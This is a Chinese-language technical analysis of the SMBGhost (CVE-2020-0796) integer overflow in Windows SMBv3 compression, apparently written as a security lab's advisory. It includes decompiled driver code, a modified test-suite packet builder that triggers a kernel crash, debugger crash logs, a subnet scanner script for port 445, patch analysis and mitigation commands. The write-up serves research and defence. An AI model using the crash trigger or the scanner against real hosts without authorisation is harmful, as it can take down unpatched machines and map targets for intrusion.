SMBGhost:微軟SMBv3遠程代碼執行漏洞分析(CVE-2020-0796)

2022-01-30 山石網科安全技術研究院

漏洞描述

3月11日,微軟發布了針對115個CVE漏洞的補丁更新,其中最引人關注的是一個針對Smb伺服器/客戶端的一個內存破壞漏洞,CVE編號為CVE-2020-0796,成功利用此漏洞的攻擊者可以在目標SMB伺服器或SMB客戶端上執行任意代碼,此漏洞屬於嚴重危害的零接觸蠕蟲級遠程代碼執行漏洞,此漏洞也被稱為 SMBGhost或「Coronablue。


3月12日,微軟正式發布漏洞通告和相關補丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796。


客戶端漏洞發生在mrxsmb.sys中,服務端漏洞發生在srv2.sys中,由於Smb沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法導致出現整數溢出。


Smb 協議就是2017年 WannaCry 和 NotPetya 勒索軟體蠕蟲傳播的協議,利用針對SMB伺服器的漏洞,未經身份驗證的攻擊者可以將特製數據包發送到目標SMBv3伺服器;若要利用針對SMB客戶端的漏洞,未經身份驗證的攻擊者將需要配置惡意的SMBv3伺服器,並誘使用戶連接到該伺服器上。

靜態分析

負責Smb伺服器傳輸的文件位於C:\Windows\System32\drivers\srv2.sys,srv2.sys存在漏洞的版本是18362或18363,可以直接在windows10客戶機中提取,此漏洞影響的是SMB v3.1.1,這是Smb協議的最新版本。

用IDA加載srv2.sys後分析,通過MS符號伺服器加載srv2.sys符號文件,解析出一些函數:

Srv2DecompressMessageAsync

Srv2DecompressData

Smb2GetHonorCompressionAlgOrder

Smb2SelectCompressionAlgorithm

Smb2ValidateCompressionCapabilities


SMB v3中支持數據壓縮,如果SMB Header中的ProtocolId是0xFC, 'S', 'M', 'B',說明數據是壓縮的,這時smb會調用解壓函數來處理,smb會調用srv2!Srv2ReceiveHandler函數接收smb數據包,並根據ProtocoII調用對應的處理函數。


__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
  .
  Size = a4;
  v8 = a4;
  v73 = 0;
  v9 = (char *)Src;
  v10 = 2;
  v11 = -1i64;
  *a8 = 0i64;
  if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
    && HIDWORD(WPP_GLOBAL_Control->Timer) & 0x200
    && BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
  {
    v70 = Src;
    WPP_SF_DqDq(WPP_GLOBAL_Control->AttachedDevice);
  }
  if ( v8 < 4 )
    goto LABEL_15;
  switch ( *(_DWORD *)Srca )
  {
    case 0x424D53FE:
      if ( v8 < 0x40 || *((_WORD *)Srca + 6) >= 0x13u )
        goto LABEL_15;
      goto LABEL_21;
    case 0x424D53FC:
      v12 = v8 < 0x10;
      break;
    case 0x424D53FD:
      v12 = v8 < 0x34;
      break;
    default:
      if ( *(_DWORD *)Srca != 1112364031 || v8 < 0x21 || Srca[4] != 114 )
        goto LABEL_15;
LABEL_21:
      v15 = __readgsdword(0x1A4u);
      v16 = *(_DWORD *)qword_1C0046110 - 1;
      if ( (unsigned int)v15 + 1 < *(_DWORD *)qword_1C0046110 )
        v16 = v15 + 1;
      v17 = v16;
      v18 = *((_QWORD *)qword_1C0046110 + 4);
      v19 = *(_QWORD *)(v18 + 8 * v17);
      if ( !*(_BYTE *)(v19 + 112) )
        PplpLazyInitializeLookasideList(qword_1C0046110, *(_QWORD *)(v18 + 8 * v17));
      ++*(_DWORD *)(v19 + 20);
      v20 = ExpInterlockedPopEntrySList((PSLIST_HEADER)v19);
     }


產生整數溢出漏洞的代碼在srv2!Srv2DecompressData函數中:



 __int64 __fastcall Srv2DecompressData(__int64 a1)
 {
   __int64 v1; // rdi
   __int64 v2; // rax
   __m128i v3; // xmm0
   __m128i v4; // xmm0
   unsigned int v5; // ebp
   __int64 v7; // rax
   __int64 v8; // rbx
   int v9; // eax
   __m128i MaxCount; // [rsp+30h] [rbp-28h]
   int v11; // [rsp+60h] [rbp+8h]

   v11 = 0;
   v1 = a1;
   v2 = *(_QWORD *)(a1 + 240);
   if ( *(_DWORD *)(v2 + 36) < 0x10u )
     return 0xC000009B;
   v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
   MaxCount = v3;
   v4 = _mm_srli_si128(v3, 8);
   v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
   if ( v5 != v4.m128i_u16[0] )
     return 0xC00000BB;
   v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
   v8 = v7;
   if ( !v7 )
     return 0xC000009A;
   if ( (int)SmbCompressionDecompress(
               v5,
               *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
               (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
               MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
               MaxCount.m128i_i32[1],
               &v11) < 0
     || (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
   {
     SrvNetFreeBuffer(v8);
     return 0xC000090B;
   }
   if ( MaxCount.m128i_i32[3] )
   {
     memmove(
       *(void **)(v8 + 24),
       (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
       MaxCount.m128i_u32[3]);
     v9 = v11;
   }
   *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
   Srv2ReplaceReceiveBuffer(v1, v8);
   return 0i64;
 }

Srv2DecompressData函數主要有三個功能:分配緩衝區,解壓縮數據,複製payload。

以下資料中有Smb數據包的詳細信息:

https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962

https://patchwork.kernel.org/patch/11014449/https://patchwork.kernel.org/patch/11014449/)


https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962>


上面的規範詳細說明了每個數據包的結構,在IDA中重命名了一些函數和數據,這樣可以更好的理解srv2!Srv2DecompressData函數的功能:



 __int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
 {
   __int64 smb_packet; // rdi
   __int64 _header; // rax
   SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
   AAA smb_header_compress; // xmm0_8
   unsigned int CompressionAlgorithm; // ebp
   __int64 __alloc_buffer; // rax
   __int64 __allocated_buffer; // rbx
   int PayloadSize; // eax
   SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
   int UncompressedSize; // [rsp+60h] [rbp+8h]

   UncompressedSize = 0;
   smb_packet = _smb_packet;
   _header = *(_QWORD *)(_smb_packet + 0xF0);

   // 檢測數據包長度,_header + 0x24是數據包長度
   if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
     return 0xC000090Bi64;

   //_header + 0x18 是客戶端傳進來的Buffer
   v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
   Header = v3;

   //檢查使用的壓縮算法是否與NEGOTIATE_PACKET序列中協商的算法相同
   *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
                                             (__m128i)v3,
                                             offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
   CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
   if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
     return 0xC00000BBi64;

   // 這裡沒有檢查相加的值,導致整數溢出,分配了一個較小的 __alloc_buffer
   __alloc_buffer = SrvNetAllocateBuffer(
         (unsigned int)(
             Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
         0i64
   );

   __allocated_buffer = __alloc_buffer;
   if ( !__alloc_buffer )
     return 0xC000009Ai64;

   // 在新分配的緩衝區中解壓縮數據,並檢查未壓縮的大小是否等於Header.OriginalCompressedSegmentSize中填寫的大小
   if ( (int)SmbCompressionDecompress(
               CompressionAlgorithm,
               (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                           + 0x10i64),
               *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
               (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
               Header.OriginalCompressedSegmentSize,
               &UncompressedSize) < 0
     || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
   {
     SrvNetFreeBuffer(__allocated_buffer);
     return 0xC000090Bi64;
   }

   // Copy optional payload
   if ( Header.OffsetOrLength )
   {
     memmove(
       *(void **)(__allocated_buffer + 0x18),
       (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
       (unsigned int)Header.OffsetOrLength);
     PayloadSize = UncompressedSize;
   }


   *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
   Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
   return 0i64;
 }
漏洞點就在這裡,沒有檢查相加的值,導致出現整數溢出,SrvNetAllocateBuffer分配了一個較小的 __alloc_buffer:

 __alloc_buffer  =  SrvNetAllocateBuffer(
   (unsigned  int )(Header.OriginalCompressedSegmentSize  +  smb_header_compress.OffsetOrLength),
   0 i64 
 );

OriginalCompressedSegmentSize和OffsetOrLength這兩個欄位是可控的,第一個欄位描述未壓縮數據的大小,第二個欄位用於連接壓縮的smb數據包(請參閱[MS-SMB2]規範2.2.42):



OriginalCompressedSegmentSize和OffsetOrLength是32位的值,srv2!Srv2DecompressData函數會分配新的緩衝區,在整數溢出之前將數據添加到buffer中。

對應的彙編代碼如下:



 00000001C0017EB2  movq    rcx, xmm0
 ...
 00000001C0017EC8  mov     rax, qword ptr [rsp+58h+Header.ProtocolId]
 00000001C0017ECD  xor     edx, edx
 00000001C0017ECF  shr     rax, 20h ;  OriginalCompressedSegmentSize
 00000001C0017ED3  shr     rcx, 20h ;  OffsetOrLength
 00000001C0017ED7  add     ecx, eax
 00000001C0017ED9  call    cs:__imp_SrvNetAllocateBuffer


動態分析

存在漏洞的系統是Windows 10 1903或1909 Windows,觸發漏洞需要SMB v3.1.1完整壓縮功能的SMB客戶端。

https://github.com/microsoft/WindowsProtocolTestSuites/

上面項目是中有很多Windows協議數據包,比如SMB伺服器/客戶端,RDP伺服器/客戶端,Kerberos伺服器,SMBD伺服器等的完整實現,通過此項目創建了一個數據包,可以編寫一個類似PoC的數據包用於動態調試。


 // .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
 namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
 {
   /// <summary>
     /// SMB2 Compression Utility.
     /// </summary>
     public static class Smb2Compression
     {
     private static uint i = 0;

     /// <summary>
     /// Compress SMB2 packet.
     /// </summary>
     /// <param name="packet">The SMB2 packet.</param>
     /// <param name="compressionInfo">Compression info.</param>
     /// <param name="role">SMB2 role.</param>
     /// <param name="offset">The offset where compression start, default zero.</param>
     /// <returns></returns>
     public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
     {
         var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

         /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
         {
             return packet;
         }*/

         // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
         if (i < 3)
         {
             i++;
             return packet;
         }

         var packetBytes = packet.ToBytes();

         var compressor = GetCompressor(compressionAlgorithm);

         // HACK: Insane length to trigger the integrer overflow
         offset = 0xffffffff;

         var compressedPacket = new Smb2CompressedPacket();
         compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
         compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
         compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
         compressedPacket.Header.Reserved = 0;
         compressedPacket.Header.Offset = offset;
         compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
         compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

         var compressedPackectBytes = compressedPacket.ToBytes();

         // HACK: force compressed packet to be sent
         return compressedPacket;

         // Check whether compression shrinks the on-wire packet size
         // if (compressedPackectBytes.Length < packetBytes.Length)
         // {
         //     compressedPacket.OriginalPacket = packet;
         //     return compressedPacket;
         // }
         // else
         // {
         //     return packet;
         // }
     }
   }
 }

 namespace Microsoft.Protocols.TestManager.BranchCachePlugin
 {
   class Program
   {
     static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
     {
       Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
       client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

       // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
       //      client.Negotiate(
       //          0,
       //          1,
       //          Packet_Header_Flags_Values.NONE,
       //          messageId++,
       //          new DialectRevision[] { DialectRevision.Smb311 },
       //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
       //          Capabilities_Values.NONE, 
       //          clientGuid,
       //          out selectedDialect,
       //          out gssToken,
       //          out header,
       //          out negotiateResp,
       //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
       //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
       //      );
       if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
         return;

       // From now on, we compress every new packet
       client.CompressionInfo.CompressAllPackets = true;

       // Get tree information about a remote share (which does not exists)
       TREE_CONNECT_Response treeConnectResp;
       string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);

       // trigger crash here
       client.TreeConnect(
           1,
           1,
           Packet_Header_Flags_Values.FLAGS_SIGNED,
           messageId++,
           sessionId,
           uncSharePath,
           out treeId,
           out header,
           out treeConnectResp
       );
     }

     static void Main(string[] args)
     {
         Console.WriteLine("Hello World!");

         Logger logger = new Logger();
         AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");

         BranchCacheDetector bcd = new BranchCacheDetector(
             logger,
             "DESKTOP-SMBVULN",
             "DESKTOP-SMBVULN",
             accountCredential
             );

         DetectionInfo info = new DetectionInfo();
         info.SelectedTransport = "SMB2";
         info.ContentServerName = "DESKTOP-SMBVULN";

         info.UserName = "Ghost";
         info.Password = "Ghost";

         TriggerCrash(bcd,info);

         Console.WriteLine("Goodbye World!");
     }
   }
 }

發送Smb2Compression.cs數據包後可以用進行windbg調試,整數溢出上下文如下:

 Breakpoint 3 hit
 srv2!Srv2DecompressData+0x6f:
 fffff800`50ad7ecf 48c1e820        shr     rax,20h
 kd> p
 srv2!Srv2DecompressData+0x73:
 fffff800`50ad7ed3 48c1e920        shr     rcx,20h
 kd> 
 srv2!Srv2DecompressData+0x77:
 fffff800`50ad7ed7 03c8            add     ecx,eax
 kd> r eax
 eax=7e
 kd> r ecx
 ecx=ffffffff
 kd> p
 srv2!Srv2DecompressData+0x79:
 fffff800`50ad7ed9 4c8b15489a0200  mov     r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
 kd> r ecx
 ecx=7d
 kd> p
 srv2!Srv2DecompressData+0x80:
 fffff800`50ad7ee0 e8fbe29704      call    srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
 kd> p
 srv2!Srv2DecompressData+0x85:
 fffff800`50ad7ee5 488bd8          mov     rbx,rax
 kd> g
 KDTARGET: Refreshing KD connection

 *** Fatal System Error: 0x00000050
                        (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)

 A fatal system error has occurred.
 Debugger entered on first try; Bugcheck callbacks have not been invoked.

 A fatal system error has occurred.

 For analysis of this file, run !analyze -v
 nt!DbgBreakPointWithStatus:
 fffff800`51a79580 cc              int     3
 kd> !analyze -v
 Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
 *******************************************************************************
 *                                                                             *
 *                        Bugcheck Analysis                                    *
 *                                                                             *
 *******************************************************************************

 PAGE_FAULT_IN_NONPAGED_AREA (50)
 Invalid system memory was referenced.  This cannot be protected by try-except.
 Typically the address is just plain bad or it is pointing at freed memory.
 Arguments:
 Arg1: ffff8483c09e7e2f, memory referenced.
 Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
 Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
   address.
 Arg4: 0000000000000002, (reserved)


 STACK_TEXT:  
 fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
 fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
 fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
 fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
 fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
 fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
 fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
 fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
 fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
 fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
 fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
 fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
 fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
 fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
 fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
 fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
 fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
 fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
 fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
 fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
 fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
 fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
 fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a

漏洞檢測

使用如下python腳本檢測對應主機:

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)

    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

使用方法:

其他漏洞檢測腳本:

https://github.com/ollypwn/SMBGhost/blob/master/scanner.py   

https://github.com/T13nn3s/CVE-2020-0976/blob/master/CVE-2020-0796-Smbv3-checker.ps1

https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse

補丁分析

3月11日ADV200005漏洞洩漏後,微軟在2020年3月12日發布了補丁程序(KB4551762),該補丁程序修復了分配大小中的整數溢出:


修復前代碼:


 __alloc_buffer  =  SrvNetAllocateBuffer(
   (unsigned  int )(Header.OriginalCompressedSegmentSize  +  smb_header_compress.OffsetOrLength),
   0 i64 
 );


修復後代碼:


 unsigned int _v_allocation_size = 0;

   if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
   {
     SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
     goto ON_ERROR;
   }

   if (_v_allocation_size > another_smb_size_i_guess)
   {
     SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
     goto ON_ERROR;
   }

   __alloc_buffer = SrvNetAllocateBuffer(
     _v_allocation_size,
     0i64
   );
   if ( !__alloc_buffer )
     return 0xC000009A;

   if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
   {
     SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
     goto ON_ERROR;
   }

   if (!NT_SUCCESS(SmbCompressionDecompress(
               AlgoId,
               (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                           + 0x10i64),
               _v_uncompressed_size,
               Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
               Header.OriginalCompressedSegmentSize,
               &UncompressedSize)) < 0
     || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )

在RtlUlongAdd和RtlULongSub運行時做了整數溢出和下溢檢查。

分析總結

CVE-2020-0796漏洞點通過補丁很容易對比出來,此漏洞在大量主機上尚未修復,漏洞利用需要做到內核池溢出,必須在Windows 10上過KALSR才能進行遠程利用,用戶應該儘量暫時禁用SMB服務,避免在被野利用攻擊。

影響版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, version 1909 (Server Core installation)

安全建議

請根據如下連結下載補丁進行修復:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

臨時解決方法:

禁用SMBv3壓縮

可以使用以下PowerShell命令禁用壓縮功能,以阻止未經身份驗證的攻擊者利用SMBv3伺服器的漏洞。

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

進行更改後,無需重新啟動,此解決方法不能防止利用SMB客戶端漏洞。

下面的PowerShell命令取消禁用:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

參考文獻

https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols

https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962

https://github.com/microsoft/WindowsProtocolTestSuites/

山石網科NEURON安全實驗室成立於2015年,為多省公安廳提供技術支撐工作,為上合峰會、財富論壇、金磚五國等多次重大活動提供網絡安保支撐工作。在多次攻防賽事中連獲佳績,網安中國行第一名,連續兩屆紅帽杯冠軍、網鼎杯線上第一名,在補天杯、極棒杯、全國多地的護網演習等也都獲得優秀的成績,每年獲得大量的CNVD、CNNVD、CVE證書或編號。

如需幫助請諮詢 hscert@hillstonenet.com

相關焦點

  • 【經典回顧系列】 一步一步教你漏洞挖掘之Windows SMB Ghost CVE-2020-0796(二)
    -0796漏洞成因分析的基礎上,本文系統歸納分析總結漏洞利用的過程。實現任意地址寫Write-What-Where CVE-2020-0796 Exploithttps://github.com/ZecOps/CVE-2020-0796-LPE-POC/blob/master/write_what_where.py2.
  • 高清還原漏洞——被微軟發布又秒刪的遠程預執行代碼漏洞CVE-2020...
    概述  ◆2020年3月10日是微軟補丁日,安全社區注意到Microsoft發布並立即刪除了有關CVE-2020-0796的信息;  ◆2020年3月11日早上,Microsoft發布了可糾正SMBv3協議如何處理特製請求的修補程序;  ◆2020年03月
  • SMB協議漏洞分析
    簡介最近看了一些關於SMB的分析文章,準備總結一下,主要介紹SMB協議在前段時間出的CVE-2020-0796相關漏洞。下面簡單介紹一下SMB的相關知識。其所有功能參考官方文檔裡面 1.3 Overview 部分,連接順序大致如下CVE-2020-0796前置知識這個漏洞出在SMB2的壓縮功能,要使用這個功能首先需要建立基本連接,要建立基本連接首先需要知道這個包是怎麼構造出來的,在協議2.1部分說明了包頭是如何組成的,協議支持幾種傳輸方式,這裡直接按照包格式選用Direct TCP頭即可其中第三個欄位是SMB2Message
  • Python遠程代碼執行漏洞(CVE-2021-3177)
    2021-3177時   間2021-02-24類   型RCE等   級嚴重遠程利用是影響範圍Python 3.x- 3.9.1 0x01 漏洞詳情Python是當前最受歡迎的程序設計語言之一由於未檢查sprintf()函數的長度,_ctypes/callproc.c中的PyCArg_repr()函數中存在緩衝區溢出漏洞,這可能會導致某些接受浮點數作為不可信輸入的Python應用程式中的遠程代碼執行。當天,Redhat官方也發布了該漏洞的安全通告,其對該漏洞的CVSSv3評分為5.9,並表示此漏洞帶來的最大威脅是對系統的可用性。
  • Office系列漏洞經典案例分析與利用
    四維漏洞播報1、漏洞簡介CVE-2017-11882屬於緩衝區溢出類型漏洞,產生漏洞原因於EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font
  • Windows VBScript引擎遠程執行代碼漏洞 CVE-2018-8174分析與利用
    VBScript引擎處理內存中對象的方式中存在一個遠程執行代碼漏洞。該漏洞可能以一種攻擊者可以在當前用戶的上下文中執行任意代碼的方式來破壞內存。成功利用此漏洞的攻擊者可以獲得與當前用戶相同的用戶權限。如果當前用戶使用管理用戶權限登錄,則成功利用此漏洞的攻擊者可以控制受影響的系統。然後攻擊者可以安裝程序; 查看,更改或刪除數據; 或創建具有完全用戶權限的新帳戶。
  • 內網學習筆記 | 23、SMBExec 與 DCOM 的使用
    1、SMBExec利用 SMBExec 可以通過文件共享(admin$、c$、ipc$、d$)在遠程系統中執行命令,它的工作方式類似於 PsExec
  • 微軟Win10爆出史詩級漏洞 危險程度堪比永恆之藍
    之前有報導稱微軟Windows 10(簡稱Win10)系統漏洞數量少於Linux、Mac OS等系統,結果這兩天Win10就爆出了一個史詩級漏洞,危險程度堪比前幾年肆虐全球的永恆之藍。這個漏洞編號CVE-2020-0796,與微軟Server Message Block 3.1.1 (SMBv3)協議有關,在處理壓縮消息時,如果其中的數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。
  • POC已公開,CVE-2021-31166 HTTP 協議棧遠程代碼執行漏洞研究
    漏洞影響版本如下:Windows Server, version 20H2 (Server Core Installation)Windows Server, version 2004 (Server Core installation)Windows 10 Version 20H2 for x64-based SystemsWindows 10
  • CS 4.0 SMB Beacon
    如果把此 ps1 放到遠程進行下載、IEX 執行就可以無文件繞過查殺,結合 https 監聽器即可。2、 創建一個 SMB listener監聽器名稱為 smb橫向建立 SMB Beaconbeacon> jump psexec64 172.31.51.190 smb 4. 取消連結unlink [ip address] [session PID]5.
  • 深入解讀:Windows HTTP.sys遠程代碼執行漏洞跟蹤進展
    4、代碼執行從上述分析可以看出,觸發此漏洞可越界寫數據而造成內存破壞,理論上存在遠程執行代碼的可能性。但是越界所寫數據的長度下限由ContentLength決定,通常會是一個較大的值而立即使系統崩潰。即使目標伺服器上存在一些大的文件,可以用來越界寫少量數據,所寫數據內容與被覆蓋目標也很難控制。因此,在實際環境中想要穩定的利用此漏洞來執行代碼是非常困難的。
  • CVE-2020-2555:WebLogic RCE漏洞分析
    轉載:nosec 作者:iso600010x00 前言不安全的反序列化漏洞已經逐漸成為攻擊者/研究人員在面對Java Web應用時尋找的目標。這些漏洞通常能得到可靠的遠程代碼執行(RCE)效果,並且修復起來比較困難。
